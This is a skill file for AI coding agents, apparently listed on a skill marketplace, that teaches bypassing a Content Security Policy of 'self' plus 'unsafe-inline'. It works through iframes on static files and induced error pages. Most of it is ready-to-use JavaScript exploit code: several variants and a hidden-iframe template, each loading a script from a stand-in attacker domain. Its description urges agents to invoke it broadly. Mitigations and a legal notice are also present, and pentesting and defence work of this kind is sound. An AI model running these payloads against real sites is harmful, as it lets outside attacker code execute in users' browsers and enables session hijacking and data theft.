# Csp Bypass Self Unsafe Inline

> How to bypass Content Security Policy (CSP) when configured with 'self' and 'unsafe-inline'. Use this skill whenever you're doing web security testing, penetration testing, or analyzing CSP configurations that include 'unsafe-inline'. Trigger this skill for any CSP bypass scenario, iframe exploitation, or when you need to execute JavaScript in restricted environments. Also use when analyzing Content-Security-Policy headers, testing web application security, or when you encounter CSP headers like "default-src 'self' 'unsafe-inline'".

- Skill: `abelrguezr/csp-bypass-self-unsafe-inline` (Agent Skill, multi-file: 3 files)
- Install (CLI): `npx skillmds@latest add abelrguezr/csp-bypass-self-unsafe-inline`
- Raw SKILL.md: https://api.skillmd.com/api/skills/abelrguezr/csp-bypass-self-unsafe-inline/raw
- Safety review: pending
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: Security
- Author: abelrguezr (https://skillmd.com/u/abelrguezr)
- Updated: 2026-09-10
- Page: https://skillmd.com/skills/abelrguezr/csp-bypass-self-unsafe-inline

---


# CSP Bypass: Self + Unsafe Inline with Iframes

This skill helps you bypass Content Security Policy (CSP) configurations that use `'self'` with `'unsafe-inline'`. This is a common misconfiguration that can be exploited through iframe-based attacks.

## Understanding the Vulnerability

A CSP configuration like:

```
Content-Security-Policy: default-src 'self' 'unsafe-inline';
```

**What it allows:**
- Content from the same origin (`'self'`)
- Inline scripts and styles (`'unsafe-inline'`)

**What it blocks:**
- External scripts, styles, images, CSS, WebSockets
- Functions that execute code from strings: `eval()`, `setTimeout()`, `setInterval()` (due to missing `'unsafe-eval'`)

## Attack Vector 1: Via Text & Images

Modern browsers convert images and text files into HTML when displayed in iframes. These pages often lack CSP headers and X-Frame-Options, enabling arbitrary JavaScript execution.

### Technique

1. Load a static resource (CSS, image, text file) in an iframe
2. The browser renders it as HTML without CSP
3. Inject your malicious script into the iframe's document

### Example Payload

```javascript
// Create iframe pointing to a static resource
var frame = document.createElement("iframe");
frame.src = "/css/bootstrap.min.css"; // or /favicon.ico, /robots.txt
document.body.appendChild(frame);

// Inject script into the iframe
var script = document.createElement("script");
script.src = "//your-attacker-domain.com/csp-bypass.js";
window.frames[0].document.head.appendChild(script);
```

### Target Resources to Try

- `/favicon.ico`
- `/robots.txt`
- `/css/*.css`
- `/images/*.png` or `/images/*.jpg`
- `/js/*.js` (if accessible)
- Any static file that returns 200 OK

## Attack Vector 2: Via Error Pages

Error responses typically lack CSP headers and X-Frame-Options. You can induce errors to load in iframes and execute JavaScript.

### Technique A: Path Traversal Error

```javascript
// Induce nginx/apache error with path traversal
var frame = document.createElement("iframe");
frame.src = "/%2e%2e%2f"; // ../
document.body.appendChild(frame);

// Inject script after iframe loads
setTimeout(function() {
    var script = document.createElement("script");
    script.src = "//your-attacker-domain.com/csp-bypass.js";
    window.frames[0].document.head.appendChild(script);
}, 500);
```

### Technique B: Long URL Error

```javascript
// Trigger error with excessively long URL
var frame = document.createElement("iframe");
frame.src = "/" + "A".repeat(20000);
document.body.appendChild(frame);

// Inject script
setTimeout(function() {
    var script = document.createElement("script");
    script.src = "//your-attacker-domain.com/csp-bypass.js";
    window.frames[0].document.head.appendChild(script);
}, 500);
```

### Technique C: Cookie Overflow Error

```javascript
// Generate error via extensive cookies
for (var i = 0; i < 5; i++) {
    document.cookie = i + "=" + "a".repeat(4000);
}

var frame = document.createElement("iframe");
frame.src = "/";
document.body.appendChild(frame);

// Inject script
setTimeout(function() {
    var script = document.createElement("script");
    script.src = "//your-attacker-domain.com/csp-bypass.js";
    window.frames[0].document.head.appendChild(script);
}, 500);

// Clean up cookies after execution
for (var i = 0; i < 5; i++) {
    document.cookie = i + "=";
}
```

## Complete Bypass Script Template

```javascript
// CSP Bypass: Self + Unsafe Inline
(function() {
    // Configuration
    var targetResource = "/favicon.ico"; // Change based on available resources
    var payloadUrl = "//your-attacker-domain.com/csp-bypass.js";
    
    // Create iframe
    var frame = document.createElement("iframe");
    frame.style.display = "none";
    frame.src = targetResource;
    document.body.appendChild(frame);
    
    // Wait for iframe to load, then inject
    frame.onload = function() {
        try {
            var script = document.createElement("script");
            script.src = payloadUrl;
            window.frames[0].document.head.appendChild(script);
            console.log("[+] CSP bypass payload injected");
        } catch(e) {
            console.log("[-] CSP bypass failed:", e);
        }
    };
})();
```

## Testing Checklist

When testing for this vulnerability:

1. **Check CSP Header**: Confirm `default-src 'self' 'unsafe-inline'` or similar
2. **Identify Static Resources**: Find accessible CSS, images, or text files
3. **Test Error Pages**: Verify error responses lack CSP headers
4. **Verify X-Frame-Options**: Ensure target pages don't have `X-Frame-Options: DENY` or `SAMEORIGIN`
5. **Test Iframe Injection**: Confirm you can create and manipulate iframes
6. **Validate Script Execution**: Use a callback to your server to confirm payload execution

## Detection & Mitigation

### For Defenders

- Remove `'unsafe-inline'` from CSP
- Use nonces or hashes for inline scripts
- Add `X-Frame-Options: DENY` or `SAMEORIGIN`
- Include `frame-ancestors 'self'` in CSP
- Ensure error pages include proper CSP headers
- Monitor for iframe creation in browser console

### For Testers

- Document all successful bypass vectors
- Include proof-of-concept code
- Note which resources were exploitable
- Report severity based on impact (XSS, session hijacking, etc.)

## References

- [Wallarm Lab: How to Trick CSP](https://lab.wallarm.com/how-to-trick-csp-in-letting-you-run-whatever-you-want-73cb5ff428aa/)
- [OWASP Content Security Policy](https://owasp.org/www-project-content-security-policy/)
- [MDN: Content Security Policy](https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP)

## Legal & Ethical Notice

This skill is for authorized security testing only. Always obtain written permission before testing any system. Unauthorized access to computer systems is illegal and unethical.